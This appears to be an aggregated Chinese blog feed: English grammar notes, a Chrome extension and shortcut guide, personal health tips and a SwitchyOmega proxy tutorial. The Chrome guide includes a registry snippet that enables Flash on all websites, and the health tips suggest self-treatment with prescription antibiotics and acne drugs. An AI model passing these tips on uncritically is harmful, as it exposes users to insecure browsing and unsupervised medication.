状语从句通常会出现在主句的前面或后面，有时插入主句中间也会被两个逗号隔开，因此相对来说比较好拆分。其形式也很简单：连词 + 完整句。
时间状语从句
连词 用法 before 之前 when 某个时间点，突然 while 一个时间段 as 同时 after 之后 since 从之前某一个时间点开始算，一般用完成时态 until 直到某一时间点 as soon as 一……就…… the next time 下次 地点状语从句
The rabbit ate the carrot where he found it.
- 地点状语从句
where he found it= 地点
The rabbit ate the carrot at the place where he found it
- 定语从句
where he found it修饰先行词place
引导词 whee 的强调形式有 wherever、everywhere、anywhere
比较状语从句
口语中可以省略句末的 be 动词。
更
- He is smarter than me / l (am) .
- This carrot is bigger than that one (is) .
- She is more beautiful than Snow White (is).
同样
- He is as smart as I am / me.
- This carrot is as big as that one (is).
- She is as beautiful as Snow White (is).
越……越……
- The more you practice English, the more fluent you become.
条件状语从句
条件句总是比主句在时态上落后一个时间段。
真实条件句：If I saw a carrot. I would eat it.
虚拟条件句：If I had seen a carrot, I would have eaten it. (虚拟语气表示与事实相反)其它引导词：
- Unless you like (= If you don't like) this video, you will not give it a thumbs-up.
- Provided that my video is excellent, you will give it a thumbs-up.
- As long as I make excellent videos you will remain my follower.
- In case you don't understand, please comment below.
让步状语从句
具体情况
假设：Even if I see a carrot, i will not eat it.
事实：Although I see a carrot, i will not eat it.
- 引导词 Although = Though = Even though，后面主句不能加 but
未知情况
- No matter what happens, I will not eat the carrot.
- 引导词 No matter = Regardless of
方式状语从句
假设发生
方式状语从句：You spend (so much) money as if you were a millionaire.
- 主句 You spend (so much) money 已发生
虚拟语气：If you were a millionaire, you would spend a lot of money.
- 从句 If you were a millionaire 未发生
正在发生
- Eat the carrot as i do.
方式（the way）状语从句换成定语从句：
- You spend money the way (in which) millionaires do.
- Eat the carrot the way (in which) I eat it.
由此可见，方式状语从句的表达更简洁。
原因状语从句
Because（引导从句，用在复杂句）和 so（连词，用在复合句）不能同时使用：Because the rabbit was hungry,
sohe ate the carrot.语气程度：Because > Since > As
- BecauseL：实实在在的因果关系
- Since：众所周知的原因（只能放在主句之前）
- As：显而易见的事实（只能放在主句之前）
Because（主从句）vs for（并且句，放在后面）
- Because：直接的因果关系
- for：先果后因，一般前面是猜测，后面 for 提供依据
目的状语从句
In order that I could finish the video in time, I pulled an all-nighter.
等于
I pulled an all-nighter so that I could finish the video in time. (so that 不能放在开头)
结果状语从句
I ate a lot of carrots for lunch so that I wasn't hungry at all in the afternoon.
I ate so many carrots for lunch that I felt sick afterwards.
It was such a tasty carrot that I ate it all at once. (such + 名词)
It was so tasty a carrot that I ate it all at once. (so + 形容词)
其它语法
非谓语动词
谓语动词是被主语限定的供动词（finite verbs），作为句子的核心，表示主语怎么样。它有三大本领：
- 表示动作的时间
- 表示动作的状态
- 表示动作的语气（假设、情感等）
非谓语动词不会被主语限定（non-finite verbs），不用学（没有）以上三个本领。
动词不定式
infinitive 是无限的意思，不受时间和人称的限制。
形式：to（可省略）+ 动词原形
full infinitive（保留 to）
To be or not to be, that is the question.
生存还是毀灭，这是一个问题。bare infinitive（省略 to）
You helped me (to) cook the carrot.
你帮我烧（做菜）了胡萝卜。动词不定式作主语
To eat a carrot every dayis good for the rabbit.
一天吃一根胡萝卜对兔子有好处头重脚轻，改为：it（形式主语） is + 形容词 + for sb. + to do sth.
It is good for the rabbit to eat a carrot every day.
等于主语从句：It is good that the rabbit eats a carrot every day.
动词不定式作宾语
The rabbit likes to eat carrots.
兔子喜欢吃胡萝卜。I consider it（形式宾语） important
to eat a carrot every day.
我发现每天吃一个胡萝卜很重要。动词不定式作宾语补足语
The rabbit expected the wolf to eat a carrot.
兔子指望狼吃一根胡萝卜。使役动词 see、find、watch、have、make、let……可省略 to
Carrots make the rabbit feel happy.
胡萝卜使兔子感到快乐。The wolf helped the rabbit (to) grow carrots
狼帮兔子种胡萝卜。动词不定式作定语
The rabbit has a lot of carrots to eat.
兔子有很多胡萝卜要吃。动词不定式作状语
表原因
I was surprised to get a thumbs-up. = I was surprised because I got a thumbs-up.
我很开心（因为）得到一个赞。表目的
I will do anything to get a thumbs-up. = I will do anything in order that I get a thumbs-up.
我为了得到一个赞会做任何事。表结果
I got enough thumbs-up to make another video. = I got enough thumbs-up so that I made another video.
我得到足够的赞，可以去做另一个视频啦！动名词
相当于名词。
动词不定式作主语
Eating carrots is healthy for the rabbit.
吃胡萝卜（这个行为）对兔子来说很健康.动名词作主语补语（表语）
The rabbit's hobby is growing carrots.
兔子的爱好是种胡萝卜。Seeing is believing.
眼见为实。动名词作定语
说明被修饰词的性质，功能或用途。
a sleeping pill = a pill for sleeping
动名词作宾语
The rabbit likes eating carrots.
兔子喜欢吃胡萝卜。The rabbit enjoys eating carrots.
兔子喜欢吃胡萝卜。
动词后面只能接动名词的单词或者短语：- enjoy
- avoid
- advise
- consider
- escape
- mind
- practice
- insist on
- give up
- feel like
- put off
- ……
介词 + 宾语（动名词）
The rabbit is fond of eating carrots.
兔子喜欢吃胡萝卜。The rabbit is looking forward to（介词） seeing the wolf again.
兔子期望再次见到狼。现在分词
相当于形容词。
现在分词作定语
表明被修饰词的状态，但并不一定表明发生在现在。
a sleeping rabbit ≠ a rabbit for sleeping现在分词作表语
The game is exciting.
游戏是刺激的。现在分词作宾语补足语
The wolf saw the rabbit eating a carrot.
狼之前看到兔子正在吃一根胡萝卜。现在分词作状语
表时间
Hearing the news, the rabbit became excited.
听到这个消息，兔子很激动。
When he heard the news, the rabbit became excited.
听到这个消息时，兔子很激动。表原因
Not knowing what to eat, the rabbit skipped lunch.
不知道吃什么，兔子没吃中饭。
Because he didn't know what to eat, the rabbit skipped lunch.
听到这个消息时，兔子很激动。过去分词
不一定表示过去；暗含被动的意思。
过去分词作定语
a minced carrot
一根绞碎的胡萝卜过去分词短语作定语，要后置
The carrot cake eaten by the rabbit is delicious.
被兔子吃了的胡萝卜很美味。过去分词作表语
The rabbit is interested.
被动兔子很有兴趣。
The story is interesting.主动故事很有趣。
The rabbit was frightened.被动兔子感到害怕。
The rabbit was frightening.主动兔子令人感到害怕。过去分词作宾语补足语
The rabbit found his carrot stolen.
兔子发现他的胡萝卜被偷了。过去分词作状语
表地点
Seen from the hill, the carrot field looks beautiful.
从山上看，胡萝卜田看上去很美。
Seeing the carrot field, the rabbit ran towards it.
看到胡萝卜田，兔子朝着它跑去。表原因
Born in a rabbit family, the rabbit's only work is growing carrots.
由于出生在一个兔子家庭里，兔子的唯一工作就是种胡萝卜。表条件
Given another chance, the rabbit would go to the wolf's party.
如果再给兔子一次机会，他会去参加狼的聚会。倒装句
Here comes the rain again = The rain comes here again.
不定式表结果
- I hurried to the railway station to find my train is gone.
✔️ 我匆忙地赶到火车站（结果）却发现我的车已经出发了。
❌ 我匆忙地赶到火车站，是为了发现我的车已经走了（目的）。 - 🌰 A Pittsburgh-area woman with car trouble popped the hood of her vehicle to find squirrels had hidden more than 200 walnuts in the car's body.
- 🌰 He survived to see the end of the war.
特殊结构的句子
- She was the only person to survive the air crash.
关联阅读
- 博客：Liam Huang 的语法笔记：通俗易懂。
- App：百词斩里的三分钟语法栏目。
- 博客 庭说 2019-10-13 00:00:00
眼睛是心灵的窗户，浏览器是网络世界的入口。如何彻底打开这个入口（夸张的修辞手法）？这篇文章会一一告诉你。
选用理由
- 2008 年 9 月 2 日，Google 发布网页浏览器 Chrome（音标：krəʊm）。时至今日，Chrome 已经是全球 65% 用户的选择（概数）。
- 超过 15 万款 Chrome 扩展程序（俗称插件）可供你随心选择，这也是 Chrome 最强大的地方。
- 界面简洁，没有广告；支持网页翻译；支持简繁转换。
- 食用 番茄 后，登录 Google 账号，即可开启同步功能。Chrome 便会在你的电脑和手机上自动同步你的最新活动状态（例如扩展程序、书签、历史记录、密码和其他设置）。这样，无论身在何处，都能在自己的设备上享受一致的体验。
- 如果疲于搭建访问国际互联网的环境，或者对隐私有较高的要求，采用 Chromium 内核的 Microsoft Edge 或许你的第二选择。Chrome 上的功能 Edge 都有，Chrome 上的插件，Edge 也能用。而且，Edge 也支持一键导入 Chrome 上的数据。
下载安装
- Chrome 官方下载网址（需番茄）
- Chrome 最新版离线安装包下载网址（免番茄）
- RunningCheese 定制版 Chrome 下载网址
- 绿色便携，内核可随 Chrome 官方发布的版本更新。
- 自带：常用插件、百度网盘加速下载、视频去广告、翻译、下载、代理、小窗播放等。
扩展程序
正所谓：无篮球，不兄弟；无插件，不 Chrome。不装插件的 Chrome，只能发挥它一半的能力。
如何安装插件
- 有番茄，直接安装：直接在 Google 或 Chrome 网上应用店 输入插件的名称，即可下载安装。
- 无番茄，离线安装：访问第三方 Chrome 插件下载网站离线安装：
- CrxDL：页面简洁。
- 极简插件：严选有趣、实用、适合国内的插件。
- GugeApps：Chrome 网上应用店高仿版，下载速度一般。
- Crx4Chrome：英文网站。
关联阅读
- Chrome 插件离线安装方法（兼容全版本）
- 谷粒 - Chrome 插件英雄榜：为优秀的Chrome插件写一本中文说明书, 让Chrome插件英雄们造福人类
插件云同步
- 在 Chrome 中登陆 Google 账号
- 在插件中开启云同步功能（一些插件不支持云同步）
- 即可在多个设备之间同步插件的设置
Tips
- 隐藏扩展程序：右键点击扩展程序的图标，选择
在 Chrome 菜单中隐藏 - 临时关闭扩展程序：右键点击扩展程序的图标，选择
管理扩展程序，关闭启用
接下来，我将推荐一些常用的插件。
SwitchyOmega
科学上网（番茄）的必备插件，所以特地写了一篇文章，隆重地介绍它：《SwitchyOmega：在浏览器上轻松快捷地管理和切换多个代理》。
Tampermonkey
不安装油猴脚本的 Chrome 是没有灵魂的。作为扩展程序里的最强王者，值得我为它开篇立传：《油猴：浏览器的必备插件》
uBlock Origin
一款高效的请求过滤工具（广告拦截工具）：
- 占用极低的内存和 CPU，和其他常见的过滤工具相比，它能够加载并执行上千条过滤规则。
- 可拦截视频网站的广告。
- 点击弹出窗口中的电源按钮，uBlock 将对当前网页永久禁用 / 启用过滤功能（非全局开关）。
更多使用技巧，参阅：
- Wiki - uBlock Origin
- AdBlock-Rules - Mirror：无需通过任何代理即可光速更新规则。使用方法：
- 复制加速地址
- 打开
规则列表-自定义-导入
- 全平台支持，长久有效的广告过滤解决方案 - 奔跑中的奶酪
- uBlock 过滤规则 - 奔跑中的奶酪
- 另存为 txt 文件，右键 uBlock Origin >
选项>从文件还原 - 打开
启用云端储存
- 另存为 txt 文件，右键 uBlock Origin >
uBlacklist
帮你在 Google 搜索结果中屏蔽一些你不想看到的网站。
订阅黑名单列表 by eallion：
https://git.io/ublacklist这是一个 uBlacklist 订阅地址合集，搜集了网上大部分的订阅地址合并成一个。通过 Github Actions 每周自动更新一次。
但是规则可能严格，例如会屏蔽知乎专栏和简书，虽然我对这两个写作平台也没什么好感，因为它们排斥外链。
英文翻译
沙拉查词
最优秀的划词翻译插件，必须单独写一篇文章夸夸它：《沙拉查词：PC 端（浏览器）上最好的翻译工具》。
达达划词翻译
好看简洁的划词翻译：
- 基于牛津字典的「英英翻译」、「例句」。
- 自带「生词簿」, 并可同步至扇贝、有道。
- 基于记忆曲线的「吐司弹词」。
- 外链「词根词缀」。
彩云小译
对整个网页上进行翻译，并将翻译的结果插入到原字符出现的位置，形成中英对照。
Language Reactor
边看视频，边学英文。目前只支持Chrome 浏览器。
- 观看 Netflix、YouTube 时自动开启双字幕或三字幕（机器翻译、人工翻译）
- 鼠标移至生词，释义自动显示，视频自动暂停
- 鼠标单击生词，显示详细释义，自动发音
Grammarly
Enhance your written communication everywhere you type.
- 免费版提供语法纠正（Grammar）、拼写纠正（Spelling）和标点纠正（Punctuation）等基础功能。
- 支持 网页版、 Mac 版、Windows 版、Word 插件 和输入法。但和 Grammarly 最般配的是，把它装进浏览器里，不管是写邮件、还是在社交媒体上发 Post，它就是你身边的写作小助手。
排版利器
简悦
简单阅读，愉悦心情。
- 阅读模式：为你提供沉浸式的阅读体验
- 支持生产力工具：Pocket、Instapaper、Linnk
Notion、印象笔记 / Evernote、Onenote、Dropbox、Google 云端硬盘、Bear、Ulysses、语雀、坚果云、有道云笔记、为知笔记、WebDAV - 支持把网页导出为 Markdown 文档。
- 获取最新动态，请关注 Telegram 频道。
关联阅读：为了完美阅读模式这个小目标 ，我适配了 160+ 个网站，因此诞生了它 - 简悦 ：沉浸式阅读的 Chrome 扩展
Markdown Here
用 Markdown 写邮件，然后点击 Markdown Here 的图标，Ta-da，一封漂亮的电子邮件就生成了。
Markdown Nice
让微信公众号的排版变 Nice。
网页版：mdnice.com
Copy Title and Url as Markdown Style
一键复制当前标签页的标题和链接，不过是 Markdown 格式。
Wikiwand
维基魔杖用于改善维基百科的阅读体验（Wikiwand gives good old Wikipedia a great new look）。
我们无法忍受世界上第五名受欢迎的网站，全球有五亿人使用的一个网站的界面竟然有好几十年没有更新。我们意识到维基百科的界面杂乱，很难阅读（小文章文本框过大），很难浏览，整体而言缺乏可用性。by Grossman
- 左侧有目录栏。
- 右上角提供了访问原文（Read On Wikipedia）、切换条目语言、字体调节等功能。
- 双击
Ctrl可以调出搜索框，方便检索其他条目。
IDM Integration Module
此插件配合 IDM 的客户端，下载体验变得愉快。
京价保
有了这个插件，不用等最低价，吃了我的全给我吐出来。
- 官方网站：jjb.im
- 价格保护：全天候监控价格变化，降价自动价保
- 自动签到：支持京东会员、京东金融、京东支付
- 价格走势图：监控商品价格历史，了解价格走势
- 关联阅读：装上这款 Chrome 插件，去京东购物不用担心「刚买就降价」了 - 少数派
潮汐
极简番茄钟与白噪音。
RSSHub Radar
万物皆可 RSS。
RSSHub Radar 是 RSSHub 的衍生项目，它是一个可以帮助你快速发现和订阅当前网站 RSS 和 RSSHub 的浏览器扩展。
OneTab
当您发现自己有太多的标签页时，单击 OneTab 图标，将所有标签页转换成一个列表。当您需要再次访问这些标签页时，可以单独或全部恢复它们。
关联阅读：One Tab 不仅是浏览标签收容所，更是工作流 - tony4927
下载管理 Pro 版
可以隐藏底部的下载项（下载进度条），这样我在使用 HTML5 视频播放器增强脚本给《瑞克和莫蒂》截图（Shift + S）时，就不会有通知了。
此功能需要在设置中开启。
Search to Play the Song
初衷是为了快速搜歌，然后有了广播，有了片段播放，有了更多听众。保持纯爱好，尊重版权，不下载不破解不拉歌单评论。by Leewei
听音乐
支持网易/虾米/QQ/咪咕/油管试听
支持歌单导入导出
支持 MV 搜索及快捷键
虾米默认不展示，油管需 VPN
听播客
- 相当于一个泛用型播客客户端
- 截止 2020 年 9 月 21 日，未集成 Show Notes 功能
听广播
- 相当于一个收音机
- 可搜索大陆或者港台的电台节目
需要时才启用的插件
在性能不足的电脑上，启动过多的扩展程序会拖慢系统的运行速度。因此，临时关闭一些不常用的扩展程序，需要时再启用，是一个折衷的方法。
YouTube 双字幕
已被 Language Reactor 取代。
☝️ YouTube™双字幕 ☝️
- 安装即用
- 仅支持 YouTube
最佳实践
- 浏览器语言设置为你的母语
- YouTube 的默认字幕设置为「自动」
✌️ Dualsub ✌️
- 支持中文注音、日语注音和词性标注
- 功能强大，官网网站 提供了详细的新手指南和设置帮助
- 支持 YouTube、Netflix、Hulu、HBO Max、爱奇艺国际版、哔哩哔哩、网易云音乐、QQ 音乐等 16 个视频/音频网站
简 Tab
只呈现美图，无任何干扰，望你每次打开 New Tab（新标签页）都有好心情。但这并不意味它仅代表简单，它的功能包含：多种背景源、丰富的定制化选项、常用网址、书签栏、快捷搜索栏、白噪音、禅模式等。
IE Tab
一些政务和网银相关的网页需要 IE 浏览器才能打开，启用这个插件，即可以 IE 内核显示网页。
QR 码生成与识别
轻松为网址、链接、文本生成 QR 码（二维码），同时支持右键菜单、本地文件和摄像头扫码。
扫描二维码
- 选择含有 QR 码的图片，右击扫码
生成二维码
- 右击当前页面的空白处，可以生成当前页面的链接 QR 码。
- 手机扫码直达网址，免去手动输入网址的烦恼。
- 下载 svg 格式的无损图片。
- 也可自行修改 URL，然后生成 QR 码。
- 生成鼠标选中文本的 QR 码。
- 右击页面上链接、图片、视频或音频，即可生成QR 码
Fatkun 图片批量下载 - Pro
找出并下载当前页面的所有图片。
- 支持按分辨率、链接等条件筛选图片。
- 支持对图片批量重命名。
- 自动把 WEBP 转换为 JPG。
送给电商从业者的福音：针对淘宝、天猫和 1688 的商品，自动按主图、SKU 图（以相应 SKU 来命名图片）和详情图分类。
QQ 空间导出助手
用于导出备份 QQ 空间的说说、日志、私密日记、相册、视频、留言板、QQ 好友、收藏夹为文件，便于迁移与保存。
西方媒体查一查
提供西方媒体的简单介绍、 可信度和政治倾向性。by 新闻实验室。
Infinity
另一个新标签页插件，可以自由添加网站图标，云端高清壁纸，快速访问书签、天气、笔记、待办事项、扩展管理与历史记录。可快速切换搜索引擎。
几枝
搭配经典诗词，在新标签页上展示中国传统色的层叠波浪动画效果。
键盘快捷键
🔥 越多，代表我越常用。
标签页和窗口快捷键
Ctrl+W/Ctrl+F4关闭当前标签页或者单击鼠标中键（滚轮） 🔥🔥🔥Ctrl+T打开新的标签页（Tab），并跳转到该标签页 🔥🔥Ctrl+Shift+T重新打开最后关闭的标签页，并跳转到该标签页 🔥🔥Ctrl+N打开新（New）窗口 🔥🔥Ctrl+Tab跳转到右边的标签页Ctrl+Shift+Tab跳转到左边的标签页
功能快捷键
Ctrl+Shift+I/F12打开「开发者工具」Ctrl+Shift+B显示或隐藏书签（Bookmark）栏
地址栏快捷键
Ctrl+K/Ctrl+E从页面中的任意位置搜索Ctrl+L/Alt+D/F6跳转到地址栏- 输入搜索字词并按
Alt+Enter键，打开新的标签页并执行 Google 搜索
网页快捷键
Ctrl+R/F5重新加载当前网页 🔥🔥🔥Shift+F5/Ctrl+Shift+R重新加载当前网页（忽略缓存的内容）🔥F11开启或关闭全屏模式 🔥Ctrl+0将网页上的所有内容恢复到默认大小（数字 0）🔥Tab浏览下一个可点击项（应用：输完账号，按 Tab，输入密码）Shift+Tab浏览上一个可点击项Ctrl+D将当前网页保存为书签（如何快捷添加书签到指定的书签文件夹：右键点击书签栏 - 添加网页）Ctrl+Shift+D将所有打开的标签页以书签的形式，保存在新文件夹中Space：翻页Shift+Space：向上翻页
鼠标快捷键
- 按住
Ctrl键的同时点击链接：在新的后台标签页中打开链接。🔥 - 按住
Ctrl+Shift键的同时点击链接：打开链接，并跳转到该链接。 - 按住
Ctrl键的同时向上滚动鼠标滚轮：放大网页上的所有内容。🔥 - 按住
Ctrl键的同时向下滚动鼠标滚轮：缩小网页上的所有内容。🔥 - 将标签页拖出标签栏：在新窗口中打开标签页（仅使用鼠标）。
- 将相应网址拖动到书签栏中：将当前网页保存为书签。
- 把图片拖拽桌面，即可下载图片。
参考来源：
使用技巧
- 在地址栏输入
chrome://flags，搜索关键词clipboard，即可开启一个叫「云剪贴板」实验功能，更多玩法，请参阅 Chrome 79：官方「云剪贴板」来了 - 少数派。 - 在地址栏（搜索栏）输入
chrome://dino/（最后的斜杠不能少）就可以玩恐龙小游戏：空格键跳跃，下方向键蹲下。 - 利用 Chrome 原生工具进行网页长截图 - 少数派
防止运营商的 QoS 限速。在地址栏输入：
chrome://flags/#enable-quic把
Default改为Disabled。始终开启 Flash
Adobe® 已 宣布 将于 2020 年 12 月弃用 Flash® Player®。在 Chrome 76 及更高版本中，Flash 播放器默认处于停用状态。
如何在 Chrome 71 及更高版本上默认全部网站开启 Flash？知乎用户 asukaid 提供了以下解决办法（仅适用于 Windows，其他操作系统详见 知乎：最新版的 Chrome 如何始终开启flash而不是先询问？）：
- 在任意位置（例如桌面），鼠标右键单击 - 新建 - 文本文档：
新建文本文档.txt。 - 复制并粘贴下面的代码到新建的文本文档，保存并退出。
Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\Software\Policies\Google\Chrome\PluginsAllowedForUrls]"1"="https://*""2"="http://*" - 把文件扩展名
新建文本文档.txt改为新建文本文档.reg，双击，确定，即可写入注册表。 - 重启 Chrome，在地址栏输入
chrome://settings/content/flash查看是否写入成功。 - 打开 4399，如果可以直接运行小游戏，即可删除
新建文本文档.reg。
关联阅读
- 博客 庭说 2019-10-10 00:00:00
因为其它事情（名利和情爱）都可以克服或者放弃。还是那句老话：身体是革命的本钱，健康是生活的基础。
虽然我在博客上教读者们如何过好「数字生活」，但是「现实生活」同样重要，千万不要让电子设备糟蹋了我们的碳基容器，肉体强健和精神强健一样重要。
保持运动
没时间锻炼，有时间生病。
- 每天保持锻炼半个小时。
- 别久坐，站起来。如果在上班族，每半个钟去饮水机附近喝一次水。
- MuscleWiki：点击身体的任何一个部位，通过动画和视频告诉你怎么锻炼这个部位的肌肉。
关键阅读：比起「资助」健身房，养成运动习惯还有这些成本更低的方法。by Vanilla
多多喝水
人体中 70% 的成分是水，而在血液中这个比例更高，达到了 90%。为了保证人体机能正常运转，所有的细胞和器官都需要水。
- 起床后先喝一杯水
- 吃饭前可以适当地喝一点水（汤）：增加饱腹感，防止吃太多
- 运动前后注意补水
关键阅读：想好好喝水没这么难，试试从这 8 个好习惯开始。by Vanilla
均衡饮食
- 少油
- 少盐
- 少糖
- 每天一小把坚果
膳食纤维是人类必备的营养素之一，倒不是因为人体需要利用它，而正是因为人体无法吸收膳食纤维，作用至少有：
- 延缓食物的消化与吸收，变相降低了摄入的食物的 GI 值，还能带走一部分油脂。
- 改善肠胃，软便，预防和解决相关的肠道问题。
这也是为什么健康饮食一般强调多吃蔬菜的一个原因，当某顿饭因为各种原因几乎没有摄入蔬菜时，我就会服用几颗胶囊保证膳食纤维充足。可试试 美达施（Metamucil）膳食纤维胶囊 by Yachen
每天一瓶纯牛奶（为什么？）
- 钙吸收率最高的食品（之一）。如果年轻时不补钙，老了容易骨折，卧病在床将引发诸多疾病，因为生命在于运动。
- 乳糖不耐受（喝纯牛奶会肚子不舒服）怎么办？
- 不要空腹喝纯牛奶
- 少量多次
- 喝酸奶，包装中不能出现「饮品」的字样；益力多成分是水和白砂糖
口腔健康
早上刷牙出门体面，晚上刷牙刺激性欲。详情请参阅：好好牙刷，很有必要。
头发健康
伤害头发的做法
- 自然风干。
- 使用毛巾摩擦。
如何正确地护发
- 洗完头，用毛巾裹干水分，顺着毛鳞片的方向（从发根到发尾）；打开吹风机，使用 40 ℃ 左右的风（谨慎使用高温档），吹干头发。拨头发的时候，不要来回摩擦，而是顺着毛鳞片的方向或者左右拨。
- 负离子吹风机的效果有限，但可以中和静电（北方地区更实用）。
- 护发选择（松下）纳米水离子吹风机，把水分「吹」进发芯。
用眼卫生
- 不要用手揉眼睛
- 毛巾通风晾晒，定期热水消毒
麦粒肿 又称为针眼、偷针㽿，是眼睑下一种皮脂腺的感染，这导致眼睑边缘出现红肿。麦粒肿的形成通常导因于金黄色葡萄球菌感染，眼睑内部是由于麦氏腺感染，而外部是因为蔡斯氏腺（英语：Gland of Zeis）感染。麦粒肿不经过治疗往往在数天至数周内恢复，建议用热敷等方法加速痊愈的速度，偶尔眼部药膏抗生素也推荐被使用例如 可乐必妥 - 左氧氟沙星滴眼液。
科学护肤
中国痤疮治疗指南（2019 修订版）
下载链接：医库 MediCool
临床医师对痤疮 治疗的选择存在很大差异，有些治疗方法疗效不肯定，缺乏循证医学证据支持，个别方法甚至对患者造成损害。制定一套行之有效的痤疮治疗指南给各级临床医师提供诊疗指导、规范其治疗是非常必要的。by 中国痤疮治疗指南专家组
虽然这份 6 页的治疗指南是给医师看的，但是普通患者看完就会对治疗痘痘有个系统性的认识：
- 痤疮的发病机制
- 痤疮的分级
- 痤疮的外用药物治疗
- 痤疮的系统药物治疗
- 物理与化学治疗
- 特殊人群的痤疮治疗
- 痤疮的中医中药治疗（笔者存疑）
- 痤疮维持治疗
- 痤疮的联合与分级治疗
- 痤疮后遗症处理
- 痤疮患者的教育与管理
对于轻度的痘痘：
- 阿达帕林凝胶（维 A 酸类药物）：睡前（避免遇光分解）涂于患处，使之成为一薄层
- 过氧苯甲酰（抗菌药物）：定点涂在痘痘上
以上两种不见效，交替用（避免耐药）：
- 克林霉素磷酸酯凝胶
- 夫西地酸乳膏（京东下单后，上传痘痘照，即可网上购买处方药夫西地酸）
避免长痘的一般性建议：
- 轻限制摄入高糖高脂食物。吃辣不一定爆痘，较油腻的辛辣食物除外
- 控制体重
- 规律作息、避免熬夜
- 过度日晒
音频
男士护肤
丁香医生
身体上的问题，可以问 丁香医生。
- 关注
丁香医生的微信公众号 - 轻触右上角的
···查看历史文章 - 轻触 🔍，输入关键词，例如
感冒，即可搜索对应的历史文章
中医存疑
传统中医缺乏实证，千人千面。
人身保险
趁年轻，在身体未出现健康问题前，及早配置好 保险。对于普通收入的人来说，一年的费用从三千元到一万元不等即可防止因病致贫。
人生意义
关于生命和人类的本质，看完思维实验室的这几个视频，我越发开朗了：
其他建议
食品配料表
- 拿到食品先看产品类别，是啥身份基本藏不住。我妈当年要会看，我也不至于喝了好几年 AD 钙乳饮料。
- 然后直奔配料表，看看排在前几位的都是啥。根据食品法规的规定，食品中的各种配料应按加入量由高到低排列。巧克力里含量最高的不是可可是白砂糖。
适度使用耳机
- 音量小些
- 听半个小时就要给耳机休息一下
- 听力受损，是不可逆的（未验证）
- 博客 Jiajun的编程随想 2019-10-08 08:00:00《Linux托管Windows虚拟机最佳实践》Linux和Windows各有所长，macOS非我所爱。对我来说，习惯使用XMonad这类平铺式窗口管理器，而Windows并没有好的替代品，再加上Windows相比来说更加吃内存，国产软件又比较流氓等多个原因，我的方案是使用Linux作为桌面系统，而Windows装在虚拟机里，这样有多个好处...
- 博客 Jiajun的编程随想 2019-09-29 08:00:00《为什么gRPC难以推广》为什么gRPC难以推广？gRPC构建在HTTP/2之上，而RESTful实际生产中仍然大量使用HTTP/1，无论在性能、吞吐量、消息传输大小等方面，gRPC都完胜。然而就我的从业经历来看，gRPC在推广上遭遇的难度比RESTFul要难很多。我想主要是这么几个原因...
- 博客 Randy's Blog 2019-09-27 08:00:001639
- 博客 Jiajun的编程随想 2019-09-26 08:00:00《关于ORM的思考》> ORM，全称是Object-relational mapping，即对象关系映射，借助ORM可以把类和数据库表(schema)对应起来。我想大家手头上都不会少了ORM这个工具，借助ORM，我们可以以面向对象的方式来写SQL，例如...
- 博客 Jiajun的编程随想 2019-09-25 08:00:00《MySQL指定使用索引(使用索引提示)》> 也叫index hint可以看到官方文档中，BNF如下...
- 博客 Jiajun的编程随想 2019-09-23 08:00:00《QT5使用GTK主题》我在使用arc这个GTK的主题，但是QT5之后，并不直接使用GTK的主题，因此显得格外的丑。解决方案：```bash...
- 博客 Jiajun的编程随想 2019-09-23 08:00:00《搭建samba服务器》> 由于网上的配置都是非常多而且乱，所以我自己翻了一下manual，整理了一份自己的配置。我需要在Windows和Linux之间共享文件，Samba是UNIX下的CIFS实现，也就是让Linux也可以使用Windows的局域网文件共享。文件共享的...
- 博客 Randy's Blog 2019-09-21 08:00:001644
- 博客 Jiajun的编程随想 2019-09-18 08:00:00《ssh时自动运行tmux》tmux，终端复用神器，之前我一直用byobu，它是tmux的封装，我看了一下源代码，其实就是一堆的bash脚本+python脚本。因为一些byobu的bug，我选择使用原生tmux，但是有一个问题，就是以前执行tmux的时候，是在 `~/.bashrc` 里加上...
- 博客 庭说 2019-09-18 00:00:00
tingtalk.me 因为不可抗力，在中国大陆被遭到屏蔽，此时在 智能分流（PAC）模式 下无法正常访问庭说的博客。于是不得不切换为
全局模式，但这样一来，其他可以正常访问的网站（例如 sspai.com）也走代理通道了（速度慢，费流量）。所以阅读完我的博客之后，不得不换回 PAC 模式。这个时候，借助 SwitchyOmega 可以创建属于自己的规则列表（任意网站，走不走代理通道，你说了算）。
SwitchyOmega 不提供代理服务，它只是一个桌面浏览器插件（手机上不适用），但它可以：
- 更便捷地切换全局模式和分流模式
- 快速添加被屏蔽的网站（当 PAC 智能分流模式中的 GFWList 未能及时覆盖到被封锁的网站时）
安装 SwitchyOmega 到浏览器后，它就会接管代理规则，此时客户端的代理规则对浏览器不适用。
安装
打开 SwitchyOmega 的项目发布页，根据不同的浏览器，选择对应的安装方式。使用 Chrome 的用户，请在 Chrome 网上应用店 获取 SwitchyOmega。添加到浏览器后会自动跳出一段介绍性的教程，点击
跳过教程。配置
界面
- 初始情景模式：
auto switch
导入/导出
启用同步
proxy
- 代理协议：
SOCKS5 - 代理服务器：
127.0.0.1 - 代理端口：
1080（Clash 是7890）
auto switch
- 白名单：告诉代理工具，白名单（大陆没墙的网站）里面的网站直接连接，其余使用代理（会消耗更多的翻墙流量）。
- 黑名单：告诉代理工具，黑名单（大陆被墙的网站）里面的网站要使用代理。
随着墙越来越高，黑名单难以收录不断被墙的网站（年久失修，无人维护），例如 tingtalk.me，因此就需要经常添加新规则，所以使用白名单模式，绕开局域网和大陆未墙网址，也许更实用。
白名单模式
切换规则
- 勾选
规则列表规则（按照规则列表匹配请求）：直接连接（国内白名单网站） - 默认情景模式：
proxy
规则列表设置
- 规则列表格式：
AutoProxy - 规则列表网址：
https://raw.githubusercontent.com/aglent/autoproxy/master/whitelist.pac 立即更新情景模式
黑名单模式
切换规则
- 勾选
规则列表规则（按照规则列表匹配请求）：proxy（被墙的网站） - 默认情景模式：
直接连接
导入在线规则列表
- 规则列表格式：
AutoProxy - 规则列表网址：
https://raw.githubusercontent.com/gfwlist/gfwlist/master/gfwlist.txt 立即更新情景模式
启用
左击浏览器右上角的 SwitchyOmega 图标，选择：
直接连接：全部网站不通过代理，直接连接网站系统代理：通过客户端代理，此时请在客户端开启代理proxy：全部网站通过代理连接网站auto switch：根据 GFWList 智能分流，最常用的模式添加条件：把网站加入到自己的规则列表（重启浏览器后依然有效）漏斗图标：临时切换通道（重启浏览器后失效）
关联阅读
- 博客 Randy's Blog 2019-09-16 08:00:001647
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2019-09-14 21:25:51
